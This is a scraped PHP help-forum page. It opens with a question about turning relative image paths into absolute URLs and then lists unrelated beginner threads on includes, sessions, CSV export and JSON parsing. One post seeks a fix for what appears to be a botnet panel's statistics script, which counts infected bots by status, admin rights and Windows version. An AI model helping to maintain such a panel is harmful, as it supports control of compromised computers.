PHP - Php Newb: How Can I Get Absolute Path For Images?
I'm working on an email template system where my client will go to a page and copy & paste the source code into their crm system.
I'm trying to find a way to automatically replace the image path without the use of echo if possible. I've figured this out already with this script: Code: [Select] <? function GetFileDir($php_self){ $filename = explode("/", $php_self); // THIS WILL BREAK DOWN THE PATH INTO AN ARRAY for( $i = 0; $i < (count($filename) - 1); ++$i ) { $filename2 .= $filename[$i].'/'; } return $filename2; } ?> But I don't wanna have to go in and put Code: [Select] <?php echo GetFileDir("http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); ?> before all the image paths. So basically anywhere that src="images/whatever.jpg" is listed it will replace "images/" with "http://www.mydomain.com/images/whatever.jpg" is it possible to do this without having to place code before "images" ? Similar TutorialsIn the file "secure/checkout.php" I have... Code: [Select] <?php require_once "../config.inc.php"; ?> which is Relative. Can I use an Absolute Path instead?? Debbie For the includes I use the following:
include($_SERVER['DOCUMENT_ROOT'] . "/cms/includes/connection.php");And for these following examples I use "http://localhost/": <img class="header_image" src="http://localhost/cms/assets/image/capture.png" /> <script type="text/javascript" src="http://localhost/cms/jquery/jquery.js"></script> <link rel="stylesheet" type="text/css" href="http://localhost/cms/assets/style.css" />With these examples I use "http://localhost/" because "$_SERVER['DOCUMENT_ROOT']" is not working with these above. My Question: Is there a function I could be using and replace it with "http://localhost/"? I am looking to have it like following: When I upload the web app onto the web server it still should be working out. EDIT: "Un-linking" those links which happen did not work. Edited by glassfish, 29 October 2014 - 06:46 AM. I found one post that related to this topic but I want to make sure I understand. If I have a site with the structu /root/ ____pageone.php ____common/ ___________base.php ___________header.php ____inc/ ______constants.inc.php ____admin/ _________login.php and base.php includes: <?php // Include site constants include_once "../inc/constants.inc.php"; ?> and login.php includes: <?php include_once "../common/base.php"; $pageTitle = "Log in"; include_once "../common/header.php"; ?> and pageone.php includes: Code: [Select] <?php include_once "common/base.php"; $pageTitle = "Page One"; include_once "common/header.php"; ?>the login page loads normally, but pageone.php is broken; I get error messages like Quote Warning: include_once(../inc/constants.inc.php) [function.include-once]: failed to open stream: No such file or directory in /Applications/XAMPP/xamppfiles/htdocs/rootdirectory/common/base.php on line 10 . From what I understand, PHP doesn't want to include the same files from different relative paths; you either need to use absolute paths or change the directory structure so that the included files are accessed through the exact same relative path. Is this correct? I find that if I move pageone.php to the admin folder and make the relative path the same, it does work. I have to say, I'm leery of using absolute paths; and if I'm understanding this correctly, you're really constrained on how you set up your directory structure. Comments? due to mod_rewrite flaws, i have to give everything an absolute path. somehow though, the stylesheet's absolute path wont work. heres the code: <link href="C:/xampp/htdocs/lso/style.css" rel="stylesheet" type="text/css" /> the stylesheet is in the lso folder, yet somehow this wont work and no styles are loaded! Given a directory - folder1/subfolder1, I would like to loop through all subdirectories under the given directory and return the file path relative to the given directory. Example: Code: [Select] Given Directory FolderA FolderB SubFolderA SubFolderB SubSubFolderA File1 FolderC the file path for File1 should be FolderB/SubFolderB/SubSubFolderA/ Any ideas? PHP 5.3 on Windows 7 running IIS 7 Hey... when using: Code: [Select] $dom = DOMDocument::load( 'p:\\WebTest\\test1.xml' );where P:\ is a mapped drive, I'm getting: Code: [Select] Warning: DOMDocument::load(): I/O warning : failed to load external entity "file:///p:/WebTest/test1.xml" in ... I've also tried using / instead of \\. If it's on c:\, it works fine, but I can't get the absolute path to work to a mapped drive. If I use \\\ip\\folder\\file (or //ip/folder/file) the page never loads. Any thoughts on getting DOMDocument to look at a shared network location on Windows? Thanks! I was wondering of it was possible to have a file say style.css in the root folder of a site like www.example.com/style.css and then get a subdomain called www.sub.example.com which points to www.example.com/subarea to get that file without the use of absolute paths? Sorry if its not clear. Hi! So I'm working for someone, and they want me to fix this error in a PHP file.. Here is the code: <?php include_once('config.php'); $online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'"); $offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'"); $dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'"); $admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'"); $adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'"); $windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'"); $windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'"); $windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'"); $windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'"); $unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'"); $totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots")); $onlinecount = 0; $offlinecount = 0; $deadcount = 0; $admintruecount = 0; $adminfalsecount = 0; $windows8count = 0; $windows7count = 0; $windowsvistacount = 0; $windowsxpcount = 0; $unknowncount = 0; while($row = mysql_fetch_array($online)){ $onlinecount++; } while($row = mysql_fetch_array($offline)){ $offlinecount++; } while($row = mysql_fetch_array($dead)){ $deadcount++; } while($row = mysql_fetch_array($admintrue)){ $admintruecount++; } while($row = mysql_fetch_array($adminfalse)){ $adminfalsecount++; } while($row = mysql_fetch_array($windows8)){ $windows8count++; } while($row = mysql_fetch_array($windows7)){ $windows7count++; } while($row = mysql_fetch_array($windowsvista)){ $windowsvistacount++; } while($row = mysql_fetch_array($windowsxp)){ $windowsxpcount++; } while($row = mysql_fetch_array($unknown)){ $unknowncount++; } $statustotal = $onlinecount + $offlinecount + $deadcount; $admintotal = $admintruecount + $adminfalsecount; $sototal = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount; ?> Can anyone tell me the error here, can how to fix it? Hey, Im wondering how I go about creating a directory path to an image folder that can be opened from any folder inside my root web directory www/WEBROOT/IMAGES/SHOP/image.jpg When i add an absolute path to the images url in the database when its gets executed it will run the the path from the current folder. I was wondering how to make its always start looking for files from the root directory down instead of the current location. The reason im asking this is that i was to be able to open those images from seperate locations inside my website. Thanks Hey i am doing a login and blog system i have done the login and reg part but i am having troubles with the adding post. Basically at the moment my user can make a post and they can anyone can view it, but i need to the user only be able to create there own prv post and that when anybody else logs in they cant make a post under it. Does anyone have any ideas? this is my code for the posts <?php session_start(); include('db_connect.php'); ?> Welcome to the fear blog <a href="logout.php">log out</a><hr/> <?php $sql = mysql_query("SELECT * FROM posts ORDER BY id "); while($row = mysql_fetch_array($sql)){ $title = $row['title']; $content = $row['content']; $category = $row['category']; ?> <div id="post"> <div id="wrapper"> <div id="title"> <label>Title</label> <?php echo $title; ?> </div> <div id="category"><label>category</label> <?php echo $category; ?> </div> <div id="content"> <label>Content</label><?php echo $content; ?> </div> </div> <?php } ?> <div id="contents"> <form action="post.php" method="post"> <label> Title:</label><input type="text" name="title" /><br/> <label> Category:</label><input type="text" name="category" /><br /> <label> Content:</label><textarea name="content"></textarea><br/> <input type="submit" name="submit" value="Post"/> </form> </div> </div> </div> </div> I need to rewrite this php statement Code: [Select] <img src="<?php bloginfo('template_directory'); ?>/images/mainimage.jpg" title="" alt="" /> When I try to do this Code: [Select] <?php echo '<img src="<?php bloginfo('template_directory'); ?>/images/mainimage.jpg" title="" alt="" />' ; ?>It does not work, because I guess I've open and closed a php code inside php. How do I properly write this statement? Thanks Ben Hey guys havent coded in a while and im stumped. Ive checked google but to no avail lol i wanna include my config file and have an IF statement to run/include another file IE... <?php include("config/config.php"); If File(Not Exist); include("install/config.php"); ?> If someone can put me back on track it would be greatly epreciated Hi - I'm using SESSION variables to keep track of customers who come onto the site to order stuff. For example $_SESSION['customerid'] all the incoming customers. I also use SESSION variables with a different value for the managers to look at and keep track of customer data. eg : $_SESSION['customer']['firstname'] I am expecting many customers and managers to be simultaneously using the site. QUESTION: Do I need to increment the SESSION variable in some way in order to avoid that a session gets overwritten, or will my SESSION variables keep track and keep everything separated by dint of the fact that they contain different values ? so far my testing shows that things are working correctly, but I can only test with 3 / 4 virtual users in different browser windows . Hi - wondering if someone can give a little guidance: Why doesn't this trim the whitespace out of the string postzip? trim(strtoupper(((isset($_POST["postzip"]))?$_POST["postzip"]:""))) Thanks Hi, preg_match isn't working the way I feel it should. The idea, when i finally get this script working, is to echo an order form back to the client (so they can see what they've ordered). At the moment I'm just trying to get the product description for each ordered product. $aryOrder: prodCode[6722] with a value of (for instance) 2 prodCode[6724] with a value of (for instance) 1 etc (only ordered products present in the array) prodDB.txt 6722 Hydrocolloid Blister Care 6724 Toe Spreader etc All products present in text file (prode code Description) BUT I get an echo with no matches for any ordered product (or any prod for that matter) i.e. no match: 6724, 6724 TOE SPREADER when clearly, the product code (6724 $aryItem) is present in the text file line ($line_of_text). I just don't get it! foreach($aryOrder as $aryItem => $qty) { $file_handle = fopen("prodDB.txt", "r"); while (!feof($file_handle)) { $line_of_text = fgets($file_handle); if (preg_match($aryItem, $line_of_text)) { echo "Matched! $aryItem, $line_of_text QTY: $qty <br>"; } else { echo "no match: $aryItem, $line_of_text <br>"; } } fclose($file_handle); } I'm completely new to PHP, trying to work it out from the manual, so I've probably made a very basic mistake, and may even be going about this in entirely the wrong way. Any help much appreciated, Steve Hi All, Im modifying someone elses PHP code (survey tool) (and i havent done PHP for years) Basically the code exports to an external csv file to a file called export.csv However everytime i get it to export, it creates copies. ie it will export to export(2).csv and export(3).csv. How can i make it so that it exports and overwritesa/ammed the existing export.csv file? I had a look at the code and i believe this code below is doing the exporting but not sure code doing the export ( i think) Code: [Select] <?php include('classes/main.class.php'); include('classes/special_results.class.php'); $survey = new UCCASS_Special_Results; echo $survey->results_csv(@$_REQUEST['sid'],$_REQUEST['export_type']); ?> The class that it uses to export Code: [Select] <?php //====================================================== // Copyright (C) 2004 John W. Holmes, All Rights Reserved // // This file is part of the Unit Command Climate // Assessment and Survey System (UCCASS) // // UCCASS is free software; you can redistribute it and/or // modify it under the terms of the Affero General Public License as // published by Affero, Inc.; either version 1 of the License, or // (at your option) any later version. // // http://www.affero.org/oagpl.html // // UCCASS is distributed in the hope that it will be // useful, but WITHOUT ANY WARRANTY; without even the implied warranty // of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // Affero General Public License for more details. //====================================================== class UCCASS_Special_Results extends UCCASS_Main { function UCCASS_Special_Results() { $this->load_configuration(); //Increase time limit of script to 2 minutes to ensure //very large results can be shown or exported set_time_limit(120); } function results_table($sid) { $sid = (int)$sid; if(!$this->_CheckAccess($sid,RESULTS_PRIV,"results_table.php?sid=$sid")) { switch($this->_getAccessControl($sid)) { case AC_INVITATION: return $this->showInvite('results_table.php',array('sid'=>$sid)); break; case AC_USERNAMEPASSWORD: default: return $this->showLogin('results_table.php',array('sid'=>$sid)); break; } } $data = array(); $qid = array(); $survey = array(); $survey['sid'] = $sid; $query = "SELECT q.qid, q.question, s.name, s.user_text_mode, s.survey_text_mode, s.date_format FROM {$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s WHERE q.sid = $sid and s.sid = q.sid ORDER BY q.page, q.oid"; $rs = $this->db->Execute($query); if($rs === FALSE) { $this->error('Error in query: ' . $this->db->ErrorMsg()); return; } $questions = array(); if($r = $rs->FetchRow($rs)) { $survey_text_mode = $r['survey_text_mode']; $user_text_mode = $r['user_text_mode']; $date_format = $r['date_format']; $survey['name'] = $this->SfStr->getSafeString($r['name'],$survey_text_mode); do{ $data['questions'][] = $this->SfStr->getSafeString($r['question'],$survey_text_mode); $qid[$r['qid']] = $r['qid']; }while($r = $rs->FetchRow($rs)); } else { $this->error('No questions for this survey.'); return; } if(isset($_SESSION['filter_text'][$sid]) && isset($_SESSION['filter'][$sid]) && strlen($_SESSION['filter_text'][$sid])>0) { $this->smarty->assign_by_ref('filter_text',$_SESSION['filter_text'][$sid]); } else { $_SESSION['filter'][$sid] = ''; } $query = "SELECT GREATEST(rt.qid, r.qid) AS qid, GREATEST(rt.sequence, r.sequence) AS seq, GREATEST(rt.entered,r.entered) AS entered, q.question, av.value, rt.answer FROM {$this->CONF['db_tbl_prefix']}questions q LEFT JOIN {$this->CONF['db_tbl_prefix']}results r ON q.qid = r.qid LEFT JOIN {$this->CONF['db_tbl_prefix']}results_text rt ON q.qid = rt.qid LEFT JOIN {$this->CONF['db_tbl_prefix']}answer_values av ON r.avid = av.avid WHERE q.sid = $sid {$_SESSION['filter'][$sid]} ORDER BY seq, q.page, q.oid"; $rs = $this->db->Execute($query); if($rs === FALSE) { $this->error('Error in query: ' . $this->db->ErrorMsg()); return; } $seq = ''; $x = -1; while($r = $rs->FetchRow($rs)) { if(!empty($r['qid'])) { if($seq != $r['seq']) { $x++; $seq = $r['seq']; $answers[$x]['date'] = date($date_format,$r['entered']); } if(isset($answers[$x][$r['qid']])) { $answers[$x][$r['qid']] .= MULTI_ANSWER_SEPERATOR . $this->SfStr->getSafeString($r['value'] . $r['answer'],$user_text_mode); } else { $answers[$x][$r['qid']] = $this->SfStr->getSafeString($r['value'] . $r['answer'],$user_text_mode); } } $last_date = date($date_format,$r['entered']); } $answers[$x]['date'] = $last_date; $xvals = array_keys($answers); foreach($xvals as $x) { foreach($qid as $qid_value) { if(isset($answers[$x][$qid_value])) { $data['answers'][$x][] = $answers[$x][$qid_value]; } else { $data['answers'][$x][] = ' '; } } $data['answers'][$x][] = $answers[$x]['date']; } $this->smarty->assign_by_ref('data',$data); $this->smarty->assign_by_ref('survey',$survey); return $this->smarty->fetch($this->template.'/results_table.tpl'); } function results_csv($sid, $export_type=EXPORT_CSV_TEXT) { $sid = (int)$sid; $retval = ''; if(!$this->_CheckAccess($sid,RESULTS_PRIV,"results_csv.php?sid=$sid")) { switch($this->_getAccessControl($sid)) { case AC_INVITATION: return $this->showInvite('results_csv.php',array('sid'=>$sid)); break; case AC_USERNAMEPASSWORD: default: return $this->showLogin('results_csv.php',array('sid'=>$sid)); break; } } header("Content-Type: text/plain; charset={$this->CONF['charset']}"); header("Content-Disposition: attachment; filename=Export.csv"); $query = "SELECT q.qid, q.question, s.date_format FROM {$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s WHERE q.sid = $sid and s.sid = q.sid ORDER BY q.page, q.oid"; $rs = $this->db->Execute($query); if($rs === FALSE) { $this->error('Error in query: ' . $this->db->ErrorMsg()); return; } $questions = array(); if($r = $rs->FetchRow($rs)) { $date_format = $r['date_format']; do{ $questions[$r['qid']] = $r['question']; }while($r = $rs->FetchRow($rs)); } else { $this->error('No questions for this survey'); return; } if(isset($_SESSION['filter_text'][$sid]) && isset($_SESSION['filter'][$sid]) && strlen($_SESSION['filter_text'][$sid])>0) { $this->smarty->assign_by_ref('filter_text',$_SESSION['filter_text'][$sid]); } else { $_SESSION['filter'][$sid] = ''; } $query = "SELECT GREATEST(rt.qid, r.qid) AS qid, GREATEST(rt.sequence, r.sequence) AS seq, GREATEST(rt.entered, r.entered) AS entered, q.question, av.value, av.numeric_value, rt.answer FROM {$this->CONF['db_tbl_prefix']}questions q LEFT JOIN {$this->CONF['db_tbl_prefix']}results r ON q.qid = r.qid LEFT JOIN {$this->CONF['db_tbl_prefix']}results_text rt ON q.qid = rt.qid LEFT JOIN {$this->CONF['db_tbl_prefix']}answer_values av ON r.avid = av.avid WHERE q.sid = $sid {$_SESSION['filter'][$sid]} ORDER BY seq, q.page, q.oid"; $rs = $this->db->Execute($query); if($rs === FALSE) { $this->error('Error in query: ' . $this->db->ErrorMsg()); return; } $seq = ''; $x = 0; while($r = $rs->FetchRow($rs)) { if(!empty($r['qid'])) { if($seq != $r['seq']) { $x++; $seq = $r['seq']; $answers[$x]['date'] = date($date_format,$r['entered']); } switch($export_type) { case EXPORT_CSV_NUMERIC: if(empty($r['answer'])) { $value = $r['numeric_value']; } else { $value = $r['answer']; } break; case EXPORT_CSV_TEXT: default: if(empty($r['answer'])) { $value = $r['value']; } else { $value = $r['answer']; } break; } if(isset($answers[$x][$r['qid']])) { $answers[$x][$r['qid']] .= MULTI_ANSWER_SEPERATOR . $value; } else { $answers[$x][$r['qid']] = $value; } } $last_date = date($date_format,$r['entered']); } $answers[$x]['date'] = $last_date; $line = ''; foreach($questions as $question) { $line .= "\"" . str_replace('"','""',$question) . "\","; } $retval .= $line . "Datetime\n"; $xvals = array_keys($answers); foreach($xvals as $x) { $line = ''; foreach($questions as $qid=>$question) { if(isset($answers[$x][$qid])) { if(is_numeric($answers[$x][$qid])) { $line .= "{$answers[$x][$qid]},"; } else { $line .= "\"" . str_replace('"','""',$answers[$x][$qid]) . "\","; } } else { $line .= ","; } } $retval .= $line . '"' . $answers[$x]['date'] . "\"\n"; } return $retval; } } ?> So I have a count down timer on my site. http://fpsboost.net And I am clueless as to how I would set a final date with this. Cant find where it's grabbing the info for "finaldate" or anything like that. Want to set the final date to feb 1st 2015 Javascript newb here. Anyone willing to help would be greatly appreciated. Thanks in advance! Btw, I'm using a generic js countdown timer from: http://hilios.github...uery.countdown/ called "The Final Countdown for jQuery v2.0.4" It was preloaded in a template that I downloaded for my site. Edited by jakobe, 09 December 2014 - 01:09 AM. I have an array I want to define in Php and then sort it. I am pretty new to Php and don't know the syntax or what funcs to use. Here's the array I want: user_email, user_name, hours_worked_per_week, total_earned There will be about 120 users, and I want to sort them ascending alphabetically on user_email I'm trying the fetch some geocode data from mapquest. Google doesn't like me right now. I keep running into the query_limit. So I want to set a back up that will go into production when I get that error from the big G. I have my api key and I can put the string in a var. Code: [Select] $geocode = file_get_contents($url) I selected json as the output and when I echo $geocode... here is the first portion of the string....(I want lat & lng) Code: [Select] renderOptions({"results":[{"locations":[{"latLng":{"lng":-112.35984,"lat":34.58752},..... Now for the life of me, I can't do anything with it. I've tried json_decode() with the true argument there and not. Code: [Select] $output = json_decode($geocode, true); $output = json_decode($geocode); vardump($output) is NULL. So, I thought, well maybe I don't need to decode it, but I can't figure out how to parse it. I'm lost. This admittedly is my first attempt as trying to work with a jason object, but jeesh, it doesn't seem like it should be that hard. Can someone start me in the right direction? The following query or while loop is only increasing the ArticleID variable every 3rd time the script is run, I've narrowed it down to the following code snippet. Can you spot a problem with this, I'm in my first week of PHP and MySQL and I can't see any problem with it. Any help would be mighty appreciated by this idiot Code snippet: --- $result = mysql_query("SELECT ArticleID FROM test_top ORDER BY ArticleID ASC LIMIT 1") or die(mysql_error()); while($row = mysql_fetch_array($result)) { $ArticleID=$row['ArticleID']; } $ArticleID=intval($ArticleID); $ArticleID++; --- |